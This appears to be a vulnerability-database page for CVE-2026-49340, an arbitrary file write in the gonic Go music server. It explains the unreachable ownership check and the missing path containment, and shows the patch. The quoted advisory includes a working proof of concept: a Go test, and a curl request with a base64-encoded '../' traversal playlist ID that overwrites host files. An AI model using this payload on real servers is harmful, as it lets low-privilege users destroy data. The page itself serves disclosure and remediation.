CVE-2026-49340: Go.senan.xyz/gonic Any Authenticated User Can Write Vulnerability

HIGH
Advisory Identifier: GHSA-4gxv-p5g5-j7w7
CVSS 8.1
CWE-732 CWE-22 CWE-697
Published
Advisory Summary

CVE-2026-49340 is a HIGH (CVSS 8.1) any authenticated user can write vulnerability (CWE-732: Incorrect Permission Assignment for Critical Resource) affecting Go.senan.xyz/gonic libraries in the Go ecosystem. The issue involves any authenticated user can write playlist m3u content to attacker-controlled path on the host. Remediation is available by upgrading affected packages to version 0.21.0.

CVE-2026-49340 at a Glance

CVE Identifier CVE-2026-49340
GHSA Identifier GHSA-4gxv-p5g5-j7w7
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-732: Incorrect Permission Assignment for Critical Resource
Affected Product Go.senan.xyz/gonic
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-49340

To remediate this vulnerability, upgrade all affected Go.senan.xyz/gonic dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

go.senan.xyz/gonic fixed: 0.21.0
Upgrade go.senan.xyz/gonic to 0.21.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for go.senan.xyz/gonic

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-49340, inspect your project dependencies for Go.senan.xyz/gonic:

inspect dependencies for go.senan.xyz/gonic

Analyze the terminal output to locate any version of Go.senan.xyz/gonic in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.21.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-732: Incorrect Permission Assignment for Critical Resource, where the product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors. In Go.senan.xyz/gonic, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A logic error in `ServeCreateOrUpdatePlaylist` allows **any authenticated Subsonic user** (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions. The bug is independent of the playlist ownership IDOR fixed in [`6dd71e6`](https://github.com/sentriz/gonic/commit/6dd71e6): it is an **unreachable guard clause** combined with **no path containment in `Store.Write`**. ## Root cause — unreachable guard clause `server/ctrlsubsonic/handlers_playlist.go:74-90`: ```go func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response { user := r.Context().Value(CtxUser).(*db.User) params := r.Context().Value(CtxParams).(params.Params) playlistID, _ := params.GetFirstID("id", "playlistId") playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded var playlist playlistp.Playlist if playlistPath != "" { if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil { // ^^^^^^^^^^^^^^^^^^^^^^^^^ // this condition is UNREACHABLE playlist = *pl } } if playlist.UserID != 0 && playlist.UserID != user.ID { return spec.NewError(50, "you aren't allowed update that user's playlist") } ... ``` `playlist.Store.Read` (`playlist/playlist.go:88-144`) returns either `(*Playlist, nil)` on success or `(nil, err)` on any failure path. **There is no return path of `(non-nil, non-nil-err)`.** So the inner branch `err != nil && pl != nil` is **always false**, the `playlist = *pl` assignment never executes, and `playlist` stays at its zero value with `UserID = 0`. The subsequent guard `playlist.UserID != 0 && playlist.UserID != user.ID` simplifies to `false && (anything)` and **always passes**, regardless of who owns the target path. ## Root cause — no path containment in `Store.Write` `playlist/playlist.go:146-160`: ```go func (s *Store) Write(relPath string, playlist *Playlist) error { defer lock(&s.mu)() if err := sanityCheck(s.basePath); err != nil { return err } absPath := filepath.Join(s.basePath, relPath) if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable! return fmt.Errorf("make m3u base dir: %w", err) } file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open ... if err := file.Truncate(0); err != nil { // wipe existing ... } ``` `filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything")` resolves to `/var/lib/gonic/etc/cron.daily/anything` — Go's `filepath.Join` does NOT prevent `..` traversal. Combined with the missing guard above, **any authenticated user** controls the destination path. ## Live PoC — passing Go test Drop this into `server/ctrlsubsonic/handlers_playlist_write_traversal_test.go` and run `go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v`: ```go package ctrlsubsonic import ( "net/url" "os" "path/filepath" "testing" "github.com/stretchr/testify/require" ) func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) { f := newFixture(t) // playlistStore.basePath = <tmp>/playlists/. A relPath of "../injected.m3u" // resolves under the parent <tmp> dir — escaping the playlists/ subtree. traversalRel := filepath.Join("..", "injected.m3u") traversalID := playlistIDEncode(traversalRel).String() // f.alt is the NON-ADMIN user (ID=2). resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{ "id": {traversalID}, "name": {"injected-by-low-priv-user"}, }) t.Logf("resp: %+v", string(resp)) tmpDir := filepath.Dir(f.contr.musicPaths[0].Path) target := filepath.Join(tmpDir, "injected.m3u") stat, err := os.Stat(target) require.NoError(t, err, "VULNERABLE if the file exists outside playlists/") require.False(t, stat.IsDir()) contents, err := os.ReadFile(target) require.NoError(t, err) t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents)) } ``` Test output against current `master` HEAD `6dd71e6`: ``` === RUN TestCreatePlaylistArbitraryWrite_RawPath resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true, "playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",..., "owner":"alt","songCount":0,...}}} VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u #GONIC-NAME:"injected-by-low-priv-user" #GONIC-COMMENT:"" #GONIC-IS-PUBLIC:"false" --- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s) ``` The file was created at `<tmp>/injected.m3u` while the playlist store's basePath is `<tmp>/playlists/` — write succeeded outside the intended directory. ## HTTP-level reproduction ```bash # Target a writable path on the gonic host. # Encode "../../../var/log/anything.log" (note: gonic must be able to write there) RAW='../../../var/log/anything.log' ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')" curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \ | python3 -m json.tool # Response: {"subsonic-response":{"status":"ok",...}} # Side effect: file written at /var/log/anything.log with M3U structured content, # intermediate directories created with 0o777 permissions. ``` ## Impact - **Integrity**: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (`#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:` attributes, plus song paths), but the `name` value is attacker-controlled and structurally placed (no newline injection; `strconv.Quote` escapes specials). - **Availability**: Overwriting `gonic.db` (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable. - **Filesystem state**: `MkdirAll(dir, 0o777)` creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal. - **Trust boundary**: gonic explicitly supports a non-admin user role (`ServeCreateUser`, the `IsAdmin` flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set. - **Content control is structural** (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the `#GONIC-NAME:"..."` header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally. ## CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` = **8.1 High** ## Suggested fix Two changes, either of which mitigates this: **1. Fix the unreachable guard at `handlers_playlist.go:83`**: ```go // Currently (BROKEN): if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil { playlist = *pl } // Fixed: if pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil { playlist = *pl } ``` This restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where `playlistPath` points to a non-existent file (the Read fails, `playlist` stays zero-valued, ownership check still bypassed). So the second fix is also needed. **2. Add path containment in `playlist/playlist.go::Store.Write`** (same helper proposed in the companion advisory): ```go absPath := filepath.Join(s.basePath, relPath) rel, err := filepath.Rel(s.basePath, absPath) if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) { return fmt.Errorf("path %q escapes playlist directory", relPath) } ``` Apply the same guard in `Read()` and `Delete()` to close related primitives. Consider tightening `MkdirAll` from `0o777` to `0o755`. ## Credits Reported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).

CVE-2026-49340 Affected Go.senan.xyz/gonic Versions

1 component(s)
Fixed Versions:
0.21.0
Product / Package Ecosystem Affected Versions Fixed Version
go.senan.xyz/gonic
Go
< 0.21.0
0.21.0

References

Frequently Asked Questions

What is CVE-2026-49340?
CVE-2026-49340 is a security vulnerability in Go.senan.xyz/gonic involving any authenticated user can write playlist M3U content to attacker-controlled path on the host under CWE-732: Incorrect Permission Assignment for Critical Resource.
Which Go.senan.xyz/gonic versions are affected?
Affected versions include releases prior to 0.21.0 across affected packages: go.senan.xyz/gonic.
What version fixes CVE-2026-49340?
Upgrading to 0.21.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is go.senan.xyz/gonic affected?
Yes, go.senan.xyz/gonic is affected in releases prior to 0.21.0. Upgrade your dependency to 0.21.0 or later.
What is the CVSS score of CVE-2026-49340?
CVE-2026-49340 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-49340?
CVE-2026-49340 is classified under CWE-732: Incorrect Permission Assignment for Critical Resource (The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.).
How can I check Go dependencies for CVE-2026-49340?
Run the dependency tree command: 'inspect dependencies for go.senan.xyz/gonic'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4gxv-p5g5-j7w7",
  "modified" : "2026-06-26T23:21:42Z",
  "published" : "2026-06-26T23:21:42Z",
  "aliases" : [ "CVE-2026-49340" ],
  "summary" : "gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host",
  "details" : "## Summary\n\nA logic error in `ServeCreateOrUpdatePlaylist` allows **any authenticated Subsonic user** (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions.\n\nThe bug is independent of the playlist ownership IDOR fixed in [`6dd71e6`](https://github.com/sentriz/gonic/commit/6dd71e6): it is an **unreachable guard clause** combined with **no path containment in `Store.Write`**.\n\n## Root cause — unreachable guard clause\n\n`server/ctrlsubsonic/handlers_playlist.go:74-90`:\n\n```go\nfunc (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {\n    user := r.Context().Value(CtxUser).(*db.User)\n    params := r.Context().Value(CtxParams).(params.Params)\n\n    playlistID, _ := params.GetFirstID(\"id\", \"playlistId\")\n    playlistPath := playlistIDDecode(playlistID)   // attacker-controlled, base64-decoded\n\n    var playlist playlistp.Playlist\n    if playlistPath != \"\" {\n        if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {\n            //                                              ^^^^^^^^^^^^^^^^^^^^^^^^^\n            //                                              this condition is UNREACHABLE\n            playlist = *pl\n        }\n    }\n\n    if playlist.UserID != 0 && playlist.UserID != user.ID {\n        return spec.NewError(50, \"you aren't allowed update that user's playlist\")\n    }\n    ...\n```\n\n`playlist.Store.Read` (`playlist/playlist.go:88-144`) returns either `(*Playlist, nil)` on success or `(nil, err)` on any failure path. **There is no return path of `(non-nil, non-nil-err)`.**\n\nSo the inner branch `err != nil && pl != nil` is **always false**, the `playlist = *pl` assignment never executes, and `playlist` stays at its zero value with `UserID = 0`. The subsequent guard `playlist.UserID != 0 && playlist.UserID != user.ID` simplifies to `false && (anything)` and **always passes**, regardless of who owns the target path.\n\n## Root cause — no path containment in `Store.Write`\n\n`playlist/playlist.go:146-160`:\n\n```go\nfunc (s *Store) Write(relPath string, playlist *Playlist) error {\n    defer lock(&s.mu)()\n    if err := sanityCheck(s.basePath); err != nil {\n        return err\n    }\n    absPath := filepath.Join(s.basePath, relPath)\n    if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil {  // world-writable!\n        return fmt.Errorf(\"make m3u base dir: %w\", err)\n    }\n    file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666)    // create-or-open\n    ...\n    if err := file.Truncate(0); err != nil {                            // wipe existing\n        ...\n    }\n```\n\n`filepath.Join(\"/var/lib/gonic/playlists\", \"../../etc/cron.daily/anything\")` resolves to `/var/lib/gonic/etc/cron.daily/anything` — Go's `filepath.Join` does NOT prevent `..` traversal. Combined with the missing guard above, **any authenticated user** controls the destination path.\n\n## Live PoC — passing Go test\n\nDrop this into `server/ctrlsubsonic/handlers_playlist_write_traversal_test.go` and run `go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v`:\n\n```go\npackage ctrlsubsonic\n\nimport (\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {\n\tf := newFixture(t)\n\n\t// playlistStore.basePath = <tmp>/playlists/. A relPath of \"../injected.m3u\"\n\t// resolves under the parent <tmp> dir — escaping the playlists/ subtree.\n\ttraversalRel := filepath.Join(\"..\", \"injected.m3u\")\n\ttraversalID := playlistIDEncode(traversalRel).String()\n\n\t// f.alt is the NON-ADMIN user (ID=2).\n\tresp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{\n\t\t\"id\":   {traversalID},\n\t\t\"name\": {\"injected-by-low-priv-user\"},\n\t})\n\tt.Logf(\"resp: %+v\", string(resp))\n\n\ttmpDir := filepath.Dir(f.contr.musicPaths[0].Path)\n\ttarget := filepath.Join(tmpDir, \"injected.m3u\")\n\tstat, err := os.Stat(target)\n\trequire.NoError(t, err, \"VULNERABLE if the file exists outside playlists/\")\n\trequire.False(t, stat.IsDir())\n\n\tcontents, err := os.ReadFile(target)\n\trequire.NoError(t, err)\n\tt.Logf(\"VULNERABLE — file written at %s\\n%s\", target, string(contents))\n}\n```\n\nTest output against current `master` HEAD `6dd71e6`:\n\n```\n=== RUN   TestCreatePlaylistArbitraryWrite_RawPath\n    resp: {\"subsonic-response\":{\"status\":\"ok\",\"version\":\"1.15.0\",\"type\":\"gonic\",\"openSubsonic\":true,\n        \"playlist\":{\"id\":\"pl-Li4vaW5qZWN0ZWQubTN1\",\"name\":\"injected-by-low-priv-user\",...,\n        \"owner\":\"alt\",\"songCount\":0,...}}}\n    VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u\n        #GONIC-NAME:\"injected-by-low-priv-user\"\n        #GONIC-COMMENT:\"\"\n        #GONIC-IS-PUBLIC:\"false\"\n--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)\n```\n\nThe file was created at `<tmp>/injected.m3u` while the playlist store's basePath is `<tmp>/playlists/` — write succeeded outside the intended directory.\n\n## HTTP-level reproduction\n\n```bash\n# Target a writable path on the gonic host.\n# Encode \"../../../var/log/anything.log\" (note: gonic must be able to write there)\nRAW='../../../var/log/anything.log'\nID=\"pl-$(printf '%s' \"$RAW\" | base64 -w0 | tr '/+' '_-')\"\n\ncurl -s \"http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected\" \\\n  | python3 -m json.tool\n# Response: {\"subsonic-response\":{\"status\":\"ok\",...}}\n# Side effect: file written at /var/log/anything.log with M3U structured content,\n# intermediate directories created with 0o777 permissions.\n```\n\n## Impact\n\n- **Integrity**: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (`#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:` attributes, plus song paths), but the `name` value is attacker-controlled and structurally placed (no newline injection; `strconv.Quote` escapes specials).\n- **Availability**: Overwriting `gonic.db` (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable.\n- **Filesystem state**: `MkdirAll(dir, 0o777)` creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal.\n- **Trust boundary**: gonic explicitly supports a non-admin user role (`ServeCreateUser`, the `IsAdmin` flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set.\n- **Content control is structural** (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the `#GONIC-NAME:\"...\"` header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` = **8.1 High**\n\n## Suggested fix\n\nTwo changes, either of which mitigates this:\n\n**1. Fix the unreachable guard at `handlers_playlist.go:83`**:\n\n```go\n// Currently (BROKEN):\nif pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {\n    playlist = *pl\n}\n\n// Fixed:\nif pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil {\n    playlist = *pl\n}\n```\n\nThis restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where `playlistPath` points to a non-existent file (the Read fails, `playlist` stays zero-valued, ownership check still bypassed). So the second fix is also needed.\n\n**2. Add path containment in `playlist/playlist.go::Store.Write`** (same helper proposed in the companion advisory):\n\n```go\nabsPath := filepath.Join(s.basePath, relPath)\nrel, err := filepath.Rel(s.basePath, absPath)\nif err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n    return fmt.Errorf(\"path %q escapes playlist directory\", relPath)\n}\n```\n\nApply the same guard in `Read()` and `Delete()` to close related primitives. Consider tightening `MkdirAll` from `0o777` to `0o755`.\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "go.senan.xyz/gonic"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.21.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.20.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sentriz/gonic/security/advisories/GHSA-4gxv-p5g5-j7w7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-49340"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sentriz/gonic"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-697", "CWE-732" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T23:21:42Z",
    "nvd_published_at" : "2026-06-19T19:16:36Z"
  }
}